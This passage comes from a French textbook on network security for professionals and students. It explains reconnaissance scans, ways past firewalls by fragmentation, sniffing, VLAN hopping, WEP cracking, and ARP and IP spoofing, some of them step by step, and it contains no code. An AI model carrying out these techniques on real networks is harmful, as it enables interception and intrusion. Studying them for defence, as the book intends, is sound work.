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Avant-propos 



Not everything that can be counted counts, and not everything that counts can be counted. (Albert 
Einstein) 

La perennite de toute entreprise passe, entre autre, par une disponibilite permanente de son 
systeme d' information. L' information necessaire au bon fonctionnement de 1' entreprise englobe 
aussi bien les donnees strategiques que les donnees de tous les jours. Le systeme d'information 
doit done etre vu comme un ensemble, qui inclut aussi bien 1' information elle-meme que les 
systemes et reseaux necessaires a sa mise en oeuvre. 

La continuite de l'activite de 1' entreprise appelle celle de son systeme d'information. Cette conti- 
nuite ne peut etre assuree que par la mise en place de moyens de protection apportant un niveau de 
securite adapte aux enjeux specifiques de l'entreprise. Ces derniers peuvent varier d'une entre- 
prise a une autre, mais la mise en place de la protection des systemes d'information repond a des 
criteres communs. 

Une information sans systeme d'information pour la mettre en oeuvre est vaine, et un systeme 
d'information coupe de ses utilisateurs sans objet. La securite des reseaux est done devenue l'un 
des elements cles de la continuite des systemes d'information de l'entreprise, quelles que soient 
son activite, sa taille ou sa repartition geographique. 

Notre vision du systeme d'information d'une entreprise doit considerer la composante reseau 
comme un element speciflque fondamental de sa securite. Comme toute composante critique, le 
reseau doit faire l'objet d'une politique de securite tenant compte de tous les besoins d'acces au 
reseau d' entreprise (acces distants, commerce electronique, interconnexion avec des tierces 
parties, etc.). 

Fondees sur cette politique de securite, des solutions techniques (pare-feu, routage reseau, authenti- 
flcation, chiffrement, etc.) peuvent etre deployees de maniere coherente afln de garantir la securite. 
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Des tableaux de bord de la securite reseau sont ensuite dermis pour visualiser et detecter toute modi- 
fication du niveau de securite du reseau d'entreprise. 

Le titre de cet ouvrage reflete done la continuite dans 1' effort de securisation, culminant dans 
l'etablissement de tableaux de bord. 

Reliant toutes les ressources de l'entreprise, le reseau doit assurer les domaines de securite 
suivants : 

• securite des reseaux, afin de garantir la disponibilite et la qualite de service des connexions du 
sy steme d' information ; 

• securite des systemes d' exploitation, afin de garantir l'integrite et la fiabilite du sy steme 
d' information ; 

• securite des applications, afin de garantir le developpement de code sur et resistant aux 
attaques ; 

• securite des acces, afin de garantir les acces aux ressources de l'entreprise par une liste definie 
d'utilisateurs avec des droits d' acces specifies ; 

• securite des informations afin de garantir la confidentialite, l'invulnerabilite (falsification, 
plagiat, destruction, etc.) et la non-volatilite (modification d'un logiciel, modification d'une 
image, etc.) des informations numeriques. 



Objectifs de I'ouvrage 

Cet ouvrage couvre toutes les etapes necessaires a la securisation d'un reseau d'entreprise. Ces 
etapes decrivent une demarche generique permettant d'apprehender et de construire une politique 
de securite reseau mais aussi de choisir des solutions techniques adaptees a ses besoins de secu- 
rite. Elles permettent egalement de mettre en place des controles de securite a la fois pour verifier 
que la politique de securite reseau est appliquee et pour etablir des tableaux de bord de la securite 
reseau. 

Ces etapes de securite constituent non seulement le fil conducteur du livre, mais aussi celui d'une 
demarche de securite reseau. Elles sont indissociables les unes des autres (politique de securite, 
solution technique, controle de securite, tableau de bord de securite) et apportent ensemble une 
garantie de la coherence et de la consistance de la politique de securite reseau mise en oeuvre. 

La securisation est un processus permanent, qui doit tenir compte des evolutions des services afin 
d' adapter et de controler ses objectifs aux besoins. 

Organisation de I'ouvrage 

Cet ouvrage est destine en premier lieu aux professionnels de la securite et aux responsables des 
systemes d'information des entreprises. II est egalement con^u comme un cours susceptible 
d'interesser etudiants et enseignants. Une etude de cas generique et modulaire reprend tous les 
principes et toutes les techniques presentes dans I'ouvrage. 
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XXI 



Le livre est organise en cinq parties : 

• La partie I presente les differentes categories d'attaques qui peuvent etre lancees sur un reseau 
d'entreprise. 

• La partie II introduit les principes de base a prendre en compte arm de definir une politique de 
securite reseau permettant de faire face aux menaces et a leurs consequences sur le reseau 
d'entreprise. Cette partie detaille aussi les methodes d' evaluation de la securite existante. 

• La partie III detaille les technologies permettant de mettre en oeuvre des solutions de securite 
reseau. 

• La partie IV presente les techniques de controle permettant de verifier 1' application de la poli- 
tique de securite reseau. Cette partie decrit aussi comment etablir des tableaux de bord de secu- 
rite. 

• La partie V presente un ensemble d'outils maison et detaille une etude de cas decrivant revolu- 
tion des besoins en securite et les solutions techniques possibles pour une PME se transformant 
peu a peu en une multinationale avec de fortes contraintes de securite. 
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Les attaques reseau 



Cette partie decrit les differentes attaques susceptibles d'affecter un reseau et les syste- 
mes qui le composent. Avec la generalisation d' Internet et des moyens de communica- 
tion modernes, une nouvelle forme d'insecurite s'est repandue, qui s'appuie sur l'utili- 
sation de codes informatiques pour perturber ou penetrer les reseaux et les ordinateurs. 

Comme l'illustre la figure 1.1, les attaques touchent generalement les trois composan- 
tes suivantes d'un systeme : la couche reseau, en charge de connecter le systeme au 
reseau, le systeme d' exploitation, en charge d'offrir un noyau de fonction au systeme, 
et la couche applicative, en charge d'offrir des services specifiques. 

Toutes ces composantes d'un systeme constituent autant de moyens de penetration 
pour des attaques de toute nature. 



Figure 1.1 
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Le chapitre 1 dresse une classification des attaques orientees reseau, que celles-ci 
visent directement des systemes reseau tels que routeurs (et les protocoles qu'ils 
gerent), commutateurs (arm de passer outre les reseaux virtuels), points d'acces sans 
fil (arm d'entrer dans le reseau d'entreprise sans y avoir d'acces physique) ou services 
critiques tels que le service de nommage, ou DNS (Domain Name Service). 



Les methodes et techniques d' intrusion permettant de prendre le controle d'un systeme 
sont abordees en detail au chapitre 2. Ces attaques reposent sur les faiblesses de securite 
des systemes d' exploitation des equipements reseau. 

Certaines attaques peuvent affecter indirectement le reseau, meme si ce n'est pas leur but 
initial. Tel est le cas du deni de service distribue engendre par des vers informatiques, 
mais egalement, a moindre echelle, par des virus. Ces attaques indirectes du reseau sont 
decrites au chapitre 3. 




Les attaques reseau 



Les attaques reseau sont aujourd'hui si nombreuses qu'il serait illusoire de pretendre les 
decrire toutes. 

II est cependant possible de dresser une typologie des faiblesses de securite afln de mieux 
apprehender ces attaques, qui ont pour point commun d' exploiter des faiblesses de securite. 

L'objectif de ce chapitre est de presenter les faiblesses les plus couramment exploitees 
par les attaques et de detailler les mecanismes de ces attaques. Nous esperons de la sorte 
faire comprendre les dangers qui menacent les reseaux, et non de susciter des vocations 
de piraterie, au demeurant reprimandees par la loi. 

Comme tout effet a une cause, les attaques reseau s'appuient sur divers types de faibles- 
ses, que Ton peut classifier par categorie, comme illustre a la figure 1.2. 

Les protocoles reseau sont encore jeunes, et aucun d'eux n'a ete con^u pour tenir compte 
des problemes de securite. Le protocole IP, par exemple, ne comporte pas de couche 
securite. La plupart des protocoles utilises dans un reseau, tels SNMP (Simple Network 
Management Protocol) pour la supervision ou BGP (Border Gateway Protocol) pour le 
routage, n'implementent pas de veritable couche de securite et s'exposent a diverses atta- 
ques, comme les attaques par fragmentation, deni de service, etc. 

De meme, les protocoles reseau n'ont prevu aucun mecanisme d'authentification verita- 
ble et subissent des attaques qui s'appuient sur ces faiblesses d'authentification, comme 
les attaques de type spoofing, man-in-the-middle, etc. 

Les faiblesses d' implementation ou bogues des programmes (systeme d' exploitation, 
application de routage, etc.) exposent a d'autres attaques, de loin les plus importantes en 
nombre. La raison a cela est que le developpement des logiciels et des piles reseau se fait 
de plus en plus rapidement et sans regies strictes. Parmi les innombrables attaques qui 
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Figure 1.2 
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utilisent de mauvaises implementations ou des erreurs de programmation, citons les atta- 
ques de type S YN flooding et ping-of-death. 

Les faiblesses de configuration des equipements reseau peuvent provenir d'une mauvaise 
configuration d'un pare-feu, laissant passer du trafic non autorise par la politique de secu- 
rite, ou d'un equipement reseau, permettant a un attaquant d'y acceder, etc. 

En s'appuyant sur ces faiblesses, le pirate peut lancer un ensemble d'attaques permettant 
d'influencer le comportement du reseau ou de recolter des informations importantes. 

Les attaques reseau peuvent etre lancees directement, le pirate attaquant sa victime et 
exposant ainsi son identite, comme l'illustre la figure 1.3. 



Figure 1.3 

Attaque directe 




Attaque directe 




Attaquant 



Victime 



Les attaques reseau peuvent aussi etre lancees indirectement par 1' intermediaire d'un 
systeme rebond afin de masquer l'identite (adresse IP) du pirate et d'utiliser les ressources 
du systeme intermediaire. Les paquets d' attaque sont dans ce cas envoyes au systeme inter- 
mediate, lequel repercute l'attaque vers le systeme cible, comme l'illustre la figure 1.4. 

Certaines attaques, dites indirectes par reponse, offrent au pirate les memes avantages 
que les attaques par rebond. Au lieu d' envoy er l'attaque au systeme intermediaire pour 
qu'il la repercute, l'attaquant lui envoie une requete, et c'est la reponse a cette requete qui 
est envoyee au systeme cible, comme l'illustre la figure 1.5. 

Gardons a l'esprit qu'un reseau est la composante de plusieurs reseaux, provenant d'opera- 
teurs differents (Internet, infrastructures publiques, etc.), a priori indignes de confiance. 
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Figure 1.4 
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Figure 1.5 
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Nous decrivons dans ce chapitre un ensemble d' attaques classees en fonction des objectifs des 
pirates et reposant sur des faiblesses protocolaires, d'authentification ou d' implementation. 

Attaques permettant de devoiler le reseau 



Attaque par cartographie du reseau 

Les attaques visant a etablir la cartographie d'un reseau ont pour but de dresser les arteres 
de communication des futurs systemes cibles. Elles ont recours pour cela a des outils de 
diagnostic tels que Traceroute, qui permet de visualiser le chemin suivi par un paquet IP 
d'un note a un autre. 

Traceroute utilise 1' option duree de vie, ou TTL (Time To Live) du paquet IP pour emet- 
tre un message ICMP time_exceeded (temps depasse) pour chaque routeur qu'il traverse. 
Sachant que chaque routeur qui manipule un paquet decremente le champ TTL, ce 
champ devient un veritable compteur de tron^on et permet de determiner l'itineraire 
precis suivi par les paquets IP vers un systeme cible, comme l'illustre la figure 1.6. 
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Figure 1.6 
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Traceroute cree un paquet avec les adresses source et destination et une valeur de duree 
de vie TTL initiale (nombre de passerelles traversees) egale a 1. Ce paquet s'arrete done 
au premier routeur rencontre, et le routeur envoie un message d'erreur ICMP 
(time_exceeded). Traceroute enregistre cette information et cree un nouveau paquet avec 
un TTL de 2. 

La traversee du premier routeur met le TTL a 1. Le paquet genere une erreur sur le 
deuxieme routeur. Comme precedemment, le deuxieme routeur envoie un message 
d'erreur ICMP avec son adresse, laquelle est memorisee par Traceroute. Une fois le 
systeme cible atteint, une erreur ICMP est generee par ce systeme cible, et Traceroute 
afflche la liste des passerelles traversees ainsi que le RTT (Round Trip Time), ou temps 
aller-retour, pour chacune d'elles. 

L'etablissement de la topologie reseau n'est pas innocent et represente la premiere etape 
d'une future attaque des systemes reseau. Dans le cas le plus frequent, le pirate utilise 
plutot la technique du balayage (scanning) pour construire l'image du reseau, car elle 
fournit des informations plus rapidement. 



Attaques par identification des systemes reseau 

Certaines attaques visent a identifier tous les systemes presents dans le but de dresser les 
futurs moyens de penetration du reseau ou des systemes qui le composent. 

II existe pour cela differentes techniques de balayage des systemes, comme l'illustre la 
figure 1.7. 
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Nous n'abordons dans ce chapitre que les techniques de base visant a decouvrir les 
elements du reseau. Les techniques avancees (furtives, etc.) sont abordees au chapitre 2, 
qui traite des attaques orientees systeme. 

Attaque par balayage ICMP 

La methode de balayage la plus simple consiste a utiliser le protocole ICMP et sa fonc- 
tion request, plus connue sous le nom de ping. Elle consiste a ce que le client envoie vers 
le serveur un paquet ICMP echo-request, le serveur repondant (normalement) par un 
paquet ICMP echo-reply, comme l'illustre la figure 1.8. Toute machine ayant une adresse 
IP est un serveur ICMP. 



Figure 1.8 
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II existe deux methodes pour cartographier le reseau par cette technique : 

• En balayant (scanning) le reseau et en interrogeant chaque adresse IP possible, ce qui 
n'est pas tres discret. 

• En visant une seule fois 1' adresse de broadcast du reseau, ce qui fait repondre toutes les 
machines presentes. Une seule demande permet ainsi d'engendrer l'envoi de toutes les 
reponses. 
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Cependant, du fait de l'accroissement constant de l'insecurite, nombre d'administrateurs 
de pare-feu ont pris l'initiative de ne pas laisser passer les reponses a de telles demandes. 

Attaque par balayageTCP 

C'est en partant du principe que le flux reseau toujours accessible au pirate est celui qui 
est destine a etre accessible au public que la technique du balayage TCP a ete inventee. 

Similaire au balayage ICMP, sa speciflcite est de s'appuyer sur le protocole TCP. Le 
client envoie un paquet SYN vers un port reseau particulier de l'adresse IP du serveur. Si 
le port est en ecoute, un paquet SYN/ACK est rec^u en retour. Sinon, la reception d'un 
paquet RST signifle qu'il n'y a pas de service en ecoute sur le port. Le client envoie en 
reponse un paquet RST pour terminer la connexion, comme l'illustre la figure 1.9. 



Figure 1.9 
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Si aucune reponse n'est re^ue en retour, c'est qu'il existe un equipement filtrant entre le 
serveur et le client ou qu'il n'y a aucune machine derriere l'adresse IP visee. 

Cette technique est cependant si peu discrete, que des variantes ont ete elaborees pour 
ameliorer le balayage en jouant sur le principe de fonctionnement de la pile TCP/IP. 



Attaque par balayage semi-ouvertTCP 

Les variantes a cette technique du balayage TCP reposent sur le non-respect de la defi- 
nition du protocole TCP/IP. Nous venons de voir qu'il existait une sequence lors de 
l'etablissement d'une session TCP. Lorsque cette sequence n'est pas respectee, le 
serveur TCP se comporte differemment, ainsi que les equipements flltrants presents sur 
le chemin. 

La variante dite de balayage semi-ouvert consiste en un balayage dans lequel le client 
envoie son paquet SYN et re^oit les paquets prevus en retour, comme l'illustre la 
figure 1.9. Contrairement au balayage TCP normal, le client n'envoie pas de paquet RST 
pour rompre la session. II note simplement la reponse et passe au port suivant. Par ce 
procede, la session TCP n'est pas ouverte, puisque le handshake ne s'est pas termine, et 
le serveur ne trace pas cet echange de donnees. 
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Attaque par identification des routeurs 

Certaines techniques permettent de decouvrir plus particulierement les equipements 
assurant des fonctions de routage. L'ecoute d'un reseau, par exemple, peut permettre 
d'analyser les trames echangees, de capturer les mises a jour des tables de routage et 
d' identifier les routeurs participant au routage du reseau. 

II est egalement possible de lancer des requetes specifiques arm de forcer ces memes 
routeurs a repondre. Par exemple, des requetes peuvent s'appuyer sur une demande 
ICMP de decouverte de routeur (ICMP router discovery) ou des requetes de routage 
(OSPF, BGP, etc.). 

Un pirate peut aussi envoyer des requetes IRDP (ICMP Router Discovery Protocol), 
egalement appelees sollicitations de routeur (router solicitations), vers l'adresse de broa- 
dcast afln de connaitre la route par defaut du reseau. 

Attaques par traversee des equipements filtrants 

Lorsqu'un pirate desire etablir la cartographie d'un reseau, il rencontre generalement sur 
son chemin un equipement flltrant. Celui-ci peut etre un routeur avec des regies de 
flltrage ou un pare- feu. 

Dans les deux cas, des techniques permettent de traverser les filtres de cet equipement, 
par l'exploitation d'un bogue, par exemple, ou d'une faiblesse de configuration. 

Attaque par modification du port source 

Lorsqu'un pare-feu n'est qu'un simple routeur utilisant des listes de controle d'acces 
(ACL) ou un pare-feu qui ne peut detecter qu'un flux correspond au trafic retour d'une 
session sortante deja initiee (le pare-feu est alors dit « stateful »), il est possible de passer 
outre les regies de flltrage appliquees en usurpant (spoofing) le port source du paquet 
emis (source porting). 

Comme l'illustre la figure 1.10, le pare-feu a pour mission d'autoriser les flux sortants 
pour n'importe quel port source TCP associe au serveur SMTP situe sur le reseau de 
l'entreprise, a condition que ces flux visent n'importe quelle machine sur Internet sur le 
port destination 25/TCP (le port utilise par le service SMTP). II s'agit d'une regie typique 
pour le trafic SMTP permettant aux serveurs de messagerie d' envoyer des messages elec- 
troniques vers l'exterieur. Un pirate peut done acceder aux ports TCP du serveur SMTP 
situe dans le reseau de l'entreprise en attaquant avec le port source 25/TCP. II peut attein- 
dre, par exemple, le port Telnet (23/TCP) du serveur distant. 

Ce type d' attaque est rendu possible par 1' absence de controle par 1' equipement flltrant 
d'un ensemble de caracteristiques associees au paquet IP. Aucune verification des bits 
SYN et ACK n'etant effectuee, le fait qu'un paquet SYN sans ACK arrive depuis Internet 
ne perturbe pas 1' equipement flltrant, qui est pourtant configure pour n' accepter que les 
retours de sessions sortantes. II n'y a pas non plus de maintien dynamique des tables de 
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trafic ay ant transite par 1' equipement filtrant. Celui-ci ne fait done pas la difference entre 
une reponse a un trafic sortant et un trafic entrant initie de l'exterieur. 

Si 1' equipement filtrant appliquait ces controles, il ne serait pas vulnerable a ce type 
d'attaque. 



Attaques par fragmentation des paquets IP 

Deux techniques permettent de jouer sur la fragmentation des paquets : celle dite par 
Tiny Fragments et celle par Fragment Overlapping. 

• Attaque par Tiny Fragments 

L'attaque par Tiny Fragments consiste a fragmenter sur deux paquets IP une demande 
de connexion TCP ou d'autres demandes sur une machine cible tout en traversant et en 
dejouant (par le mecanisme de fragmentation) un filtrage IP. 

Le premier paquet IP contient des donnees telles que les huit premiers octets de l'en-tete 
TCP, e'est-a-dire les ports source et destination et le numero de sequence. Le second 
paquet contient la demande de connexion TCP effective (flag SYN a 1 et flag ACK a 0). 

Les premiers filtres IP appliquaient la meme regie de filtrage a tous les fragments d'un 
paquet. Le premier fragment n'indiquant aucune demande de connexion explicite, le 
filtrage le laissait passer, de meme que tous les fragments associes, sans davantage de 
controle sur les autres fragments. Lors de la defragmentation au niveau IP de la machine 
cible, le paquet de demande de connexion etait reconstitue et passe a la couche TCP. La 
connexion s'etablissait alors malgre le filtre IP, comme l'illustre la figure 1.11. 

Sur la figure, la demande de connexion est fragmentee en deux paquets IP contenant 
les fragments et 1, chacun d'eux passant le systeme de filtrage et etant a nouveau 
assemble par le systeme cible reconstituant la demande de connexion TCP. 

Les filtres IP actuels prennent en compte les paquets fragmented et inspectent tous les 
fragments de la meme maniere afin de se premunir de ce type d'attaque. 

• Attaque par Fragment Overlapping 

L'attaque par Fragment Overlapping consiste a fragmenter deux paquets IP au moyen 
de 1' option Overlapping pour faire une demande de connexion TCP ou une autre 
demande sur une machine cible tout en traversant un filtrage IP. 
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Figure 1.11 
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Le premier paquet IP contient les donnees de l'en-tete TCP avec les indicateurs a 0. Le 
second paquet contient les donnees de l'en-tete TCP avec la demande de connexion 
TCP (flag SYN a 1 et flag ACK a 0). 

La figure 1.12 illustre cette attaque. 
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Sur la figure, la demande de connexion est fragmentee en deux paquets IP contenant 
les fragments et 1, chacun d'eux passant le systeme de filtrage et etant a nouveau 
assemble par le systeme cible reconstituant un mauvais paquet TCP du au chevauche- 
ment (overlapping) des fragments et 1. 



Attaques permettant d'ecouter le trafic reseau 

Cette technique est generalement utilisee par les pirates pour capturer les mots de passe. 
Lorsqu'on se connecte a un reseau qui utilise le mode broadcast, toutes les donnees en 
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transit arrivent a toutes les cartes reseau connectees a ce reseau. En temps normal, seules 
les trames destinees a la machine sont lues, les autres etant ignorees. 

Attaque par sniffing 

Grace a une table d'ecoute (sniffer), il est possible d'intercepter les trames regues par la 
carte reseau d'un systeme pirate et qui ne lui sont pas destinees, comme l'illustre la 
figure 1.13. 

Le systeme pirate se situe sur le reseau local et capture tous les paquets reseau transitant 
sur ce reseau arm d'obtenir des mots de passe, etc. II n'est pas necessaire que le sniffer 
possede une adresse IP sur le reseau qu'il ecoute. Une interface reseau active sans 
adresse IP suffit. L' ecoute est alors totalement indecelable au niveau ARP. 

Figure 1.13 
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Sniffer (analyse des paquets 
transitant sur le reseau local) 

Grace a des outils tels qu' Ethereal ou WinDump/TCPDump, le sniffer peut analyser tous 
les paquets IP ainsi que les protocoles contenus dans les donnees du paquet. Par exemple, 
un sniffer peut analyser un paquet Ethernet susceptible de contenir un paquet IP, qui lui- 
meme pourrait contenir un paquet de type TCP, lequel a son tour pourrait contenir un 
paquet HTTP renfermant des donnees HTML. 

Si une personne etablit une session authentiflee sur un flux reseau non chiffre (Telnet, 
XI 1, etc.), son mot de passe transite en clair sur le reseau. De meme, il est possible de 
connaitre a tout moment les personnes connectees au reseau, les sessions de routage en 
cours, etc., par une analyse des paquets qui transitent sur le reseau et qui contiennent 
toutes les informations necessaires a cette analyse. 

Dans un reseau commute, il n'est theoriquement pas possible d'ecouter le reseau, car 
le commutateur envoie a chaque machine uniquement les paquets de donnees qui lui 
sont destines. Mais comme tout equipement reseau, les commutateurs ont leurs 
faiblesses. Ainsi, un client qui enverrait des paquets usurpant 1' adresse MAC du 
serveur qu'il desire ecouter pourrait recevoir ces donnees. Selon les marques et les 
modeles de commutateur, le comportement differe totalement. Cela echoue souvent, 
mais il arrive que cela marche. Dans certains cas, le commutateur panique et se place 
en deni de service. 
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Attaque de commutateur 

Le commutateur (switch) a pour fonction de permettre la cohabitation de differents sous- 
reseaux physiques, qui ne communiquent pas necessairement entre eux, sur le meme 
equipement. 

Pour atteindre cet objectif, le principe du VLAN (Virtual LAN) a ete developpe. A la 
base, un port du commutateur est assigne a un VLAN particulier, et seuls les ports du 
meme VLAN peuvent s'echanger de 1' information. Dans le but d'ameliorer le confort 
pour 1'administrateur et la qualite de service (redondance, etc.), des fonctionnalites 
supplementaires ont vu le jour, avec leurs faiblesses. Ainsi, une attaque ARP spoofing 
peut permettre a une machine de recevoir des donnees qu'elle n'est pas censee recevoir. 

Le protocole IEEE 802. lq a pour fonction principale de permettre a des commutateurs de 
s'echanger des donnees entre des VLAN partages par plusieurs commutateurs. Certaines 
faiblesses de ce protocole sont cependant exploitables par quiconque est susceptible 
d'initier et de generer du trafic 802. lq avec le commutateur (ce qui constitue technique- 
ment une faiblesse de configuration). 

Par exemple, la technique dite du saut de VLAN (VLAN hopping) consiste pour le pirate 
a envoyer vers son port des paquets 802. lq ou ISL (Inter Switch Link) afin qu'il devienne 
un port « trunk », port utilise par les commutateurs pour partager des VLAN. C'est ce 
qu'illustre la figure 1.14. 



Figure 1.14 
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Si 1' attaque reussit, le port par lequel le pirate est attache au commutateur devient un port 
« trunk ». A ce titre, il re^oit une copie de tous les paquets en transit sur tous les VLAN 
du commutateur. 



Attaques permettant d'utiliser des acces distants Wi-Fi 

La technologie sans fil Wi-Fi (IEEE802.il) s'appuie sur les ondes hertziennes pour 
etablir les communications entre les equipements. II suffit de se trouver dans la zone de 
couverture des emetteurs pour ecouter les donnees. Compte tenu du risque intrinseque 
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d'une telle methode de communication, des protocoles ont ete developpes afin de pallier 
cette insecurite. Ainsi, le protocole WEP (Wired Equivalent Privacy) est cense ameliorer 
la confidentialite des flux reseau echanges. 

WEP est un protocole de securite defini dans le standard IEEE 802.11b. II est charge 
d' assurer un niveau de securite equivalent a celui des reseaux filaires en chiffrant les 
donnees transitant sur les ondes radio afin de reduire le risque d'ecoute. 

WEP chiffre chaque trame 802.11 echangee entre l'emetteur et le recepteur (point 
d'acces ou client) en s'appuyant sur l'algorithme de chiffrement symetrique en continu 
RC4 et sur un secret partage entre les deux parties pour generer une cle de chiffrement en 
continu. Pour construire la cle de chiffrement, WEP calcule une « graine » (seed) corres- 
pondant a la concatenation de la cle secrete fournie par l'emetteur et d'un vecteur 
d' initialisation, ou IV (Initialization Vector), genere aleatoirement sur 24 bits. 

Un calcul d'integrite, utilisant un algorithme CRC 32 et appele ICV (Integrity Check 
Value), est egalement effectue sur les donnees et concatene avec celles-ci. 

La graine est ensuite utilisee par 1' algorithme RC4 pour generer en continu une cle de 
chiffrement aleatoire. Le chiffrement des donnees se fait alors par un XOR (OU exclusif 
logique) bit a bit entre cette cle de chiffrement et les donnees concatenees avec 1'ICV, 
formant en sortie les donnees chiffrees. 

La figure 1.15 illustre ce processus de chiffrement WEP. 



Figure 1.15 
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La cle secrete partagee peut etre d'une longueur de 40 ou 64 bits, certaines versions 
offrant meme des cles allant jusqu'a 128 bits (104 bits reels). 
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Attaque FMS (Fluhrer, Mantin, Shamir) sur RC4 

RC4 est connu depuis des annees pour etre vulnerable a des attaques de type « texte 
dechiffre connu » {known plain text attack). Ce type d' attaque consiste a deviner la cle 
secrete en s'appuyant sur la connaissance de tout ou partie des donnees de la version 
dechiffree. La technique d' attaque FMS a demontre qu'il fallait environ 
1 000 000 paquets pour casser une cle de 128 bits et 300 000 pour une cle de 64 bits. 

La figure 1.16 illustre le processus d' attaque de la cle secrete lors d'une demande de 
connexion a un point d'acces sur lequel WEP n'est pas active. 
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Le pirate a enregistre l'echange challenge/reponse de l'utilisateur, et il sait que la reponse 
contiendra la version chiffree avec la cle secrete. II connait egalement ce challenge 
puisqu'il a transite en clair lors de Tetablissement de la session de l'utilisateur. Le pirate 
peut done se procurer la cle secrete en pratiquant une attaque de type « texte dechiffre 
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connu » sur la reponse de l'utilisateur. Une fois le challenge obtenu dans le message de 
reponse, la cle secrete est trouvee. 

II existe d'autres methodes pour casser une cle WEP ou permettre de dechiffrer un paquet 
chiffre avec une cle WEP sans avoir connaissance de la cle ( vulnerability du controle de 
conformite). 

Attaque par modification de paquet 

WEP utilise un checksum pour s'assurer de Tintegrite d'un paquet. Cependant, WEP utili- 
sant une fonction lineaire pour calculer ce checksum, il est possible de modifier le contenu 
d'un paquet (et de son checksum) sans aucune detection possible de la part du recepteur. 

Cette attaque est egalement connue sous le nom de Bit Flipping Attack, une variante 
consistant simplement a deplacer les bits. 

Attaque par envoi de paquet ou par repetition 

Nous avons vu precedemment qu'une partie de la cle secrete reposait sur le vecteur 
d' initialisation genere aleatoirement. II est cependant possible de reutiliser un vecteur 
d' initialisation, sans que cela soit considere comme un comportement anormal. 

Grace a cette particularity, il est possible pour un pirate d' envoy er des paquets avec un 
vieux vecteur d' initialisation, considere comme obsolete, dans la communication entre 
un client et un point d'acces en esperant qu'il soit de nouveau utilise par cette communi- 
cation (replay attack). 

Attaque par redirection d'adresse IP 

Cette attaque necessite que le point d'acces permette l'acces au reseau Internet, ce qui est 
frequemment le cas. Elle suppose en outre que le pirate controle un ordinateur sur Internet. 

La sequence des evenements est la suivante : 

1. Le pirate modifie l'integrite d'un paquet en rempla^ant l'adresse IP destination par 
l'adresse de l'equipement qu'il controle. II s'appuie pour cela sur un paquet capture 
et la methode dite du « bit flipping ». 

2. II garde une copie du paquet chiffre. 

3. Le paquet est dechiffre par le point d'acces puis envoy e en clair sur le reseau vers 
l'adresse IP destination (done 1' ordinateur sous controle du pirate), laquelle regoit la 
version en clair du paquet de donnees. 

4. Le pirate recupere cette version en clair. 

Le pirate possedant la version chiffree et dechiffree du paquet, il peut commencer une 
attaque de type « texte dechiffre connu » pour trouver la cle WEP. 
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Attaques permettant d'interferer avec une session reseau 

La plupart des protocoles reseau n' ay ant prevu aucun mecanisme d'authentiflcation veri- 
table, ils subissent des attaques qui s'appuient sur ces faiblesses d'authentiflcation, au 
premier rang desquelles les attaques ARP spoofing et man-in- the-middle. 

Attaque ARP spoofing 

Comme son nom l'indique, l'attaque ARP spoofing s'appuie sur le protocole ARP 
(Address Resolution Protocol), qui implemente le mecanisme de resolution d'une 
adresse IP (32 bits) en une adresse MAC (48 bits) pour rediriger le traflc reseau de un ou 
plusieurs systemes vers le systeme pirate. 

Lorsqu'un systeme desire communiquer avec ses voisins sur un meme reseau (incluant la 
passerelle d'acces a d'autres reseaux), des messages ARP sont envoyes arm de connaitre 
1' adresse MAC des systemes voisins et d'etablir ainsi une communication avec un 
systeme donne. 

Sachant que chaque systeme possede localement une table de correspondance entre les 
adresses IP et MAC des systemes voisins, la faiblesse d'authentiflcation du protocole 
ARP permet a un systeme pirate d' envoy er des paquets ARP reponse au systeme cible 
indiquant que la nouvelle adresse MAC correspondant a 1' adresse IP d'une passerelle est 
la sienne. 

Le systeme du pirate re^oit done tout le traflc a destination de la passerelle. II lui suffit 
d'ecouter ou de modifier passivement le traflc et de router ensuite les paquets vers leur 
veritable destination, comme l'illustre la figure 1.17. 
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Attaque IP spoofing 

Puisqu'un paquet IP n'est qu'une suite d'octets construite par un systeme d' exploitation 
s' executant sur un systeme hardware, cette suite d'octets peut etre forgee et envoy ee sur 
le reseau sans controle prealable de ce dernier. 

La plupart des moyens d'authentiflcation s'appuyant de nos jours sur les adresses IP, ce 
moyen faible d'authentiflcation peut entrainer de graves problemes de securite si 
l'authentification ne recourt qu'a ce mecanisme. Si un systeme peut donner des privile- 
ges particuliers a un ensemble d' adresses IP sources, un paquet IP forge avec une telle 
adresse IP est re^u par ce systeme avec les privileges associes. 

L' attaque IP spoofing consiste a se faire passer pour un autre systeme en falsiflant son 
adresse IP. Le pirate commence par choisir le systeme qu'il veut attaquer. Apres avoir 
obtenu le maximum de details sur ce systeme cible, il determine les systemes ou adresses 
IP autorises a se connecter au systeme cible. Le pirate procede ensuite aux etapes illus- 
trees a la figure 1.18 pour mener a bien son attaque sur le serveur cible en utilisant 
1' adresse IP de la machine A. 



Figure 1.18 

U attaque IP spoofing 
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L' attaque se deroule de la fa^on suivante : 

1. Le pirate essaye de prevoir le numero de sequence des paquets du serveur cible en 
envoyant plusieurs paquets et en analysant l'algorithme d' incrementation de ce 
numero. 

2. Le pirate rend inoperante la machine A autorisee a acceder au serveur cible, de fa^on 
a s'assurer qu'elle ne repond pas au serveur cible. 

3. Le pirate falsifle son adresse IP en la rempla^ant par celle de la machine invalidee et 
envoie une demande de connexion au serveur cible. 

4. Le serveur envoie une trame SYNIACK a la machine qu'il pense etre l'emettrice. 

5. Celle-ci ne pouvant repondre, le pirate acquitte cette connexion par une trame ACK, 
avec le numero de sequence prevu. II etablit de la sorte en toute impunite la 
connexion avec le serveur cible. 

Cette attaque est assez difficile a effectuer, car elle se realise en aveugle, le pirate ne rece- 
vant pas les donnees transmises par le serveur. II doit done maitriser parfaitement les 
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protocoles pour savoir ce qu' attend le serveur a tout moment. D'autres techniques plus 
evoluees permettent de contourner ce probleme, comme les attaques dites man-in-the- 
middle (l'homme au milieu) ou les attaques de routage. 

Attaque man-in-the-middle 

L'attaque man-in-the-middle consiste a faire passer les echanges reseau entre deux syste- 
mes par le biais d'un troisieme, sous le controle du pirate. Ce dernier peut transformer a 
sa guise les donnees a la volee, tout en masquant a chaque acteur de l'echange la realite 
de son interlocuteur. 

Pour mettre en oeuvre l'echange reseau approprie, il faut soit que la machine du pirate se 
trouve physiquement sur le chemin reseau emprunte par les flux de donnees, soit que le 
pirate reussisse a modifier le chemin reseau afin que sa machine devienne un des points 
de passage (nous detaillons plus loin ce type d' attaque). 

Au final, l'echange se presente sous l'une des trois formes suivantes : 

• Relais transparent. La machine du pirate transforme les donnees a la volee. Elle veut 
rester la plus transparente possible et se comporte comme un routeur, conservant toutes 
les caracteristiques des paquets dont elle assure le transit, a 1' exception du contenu. En 
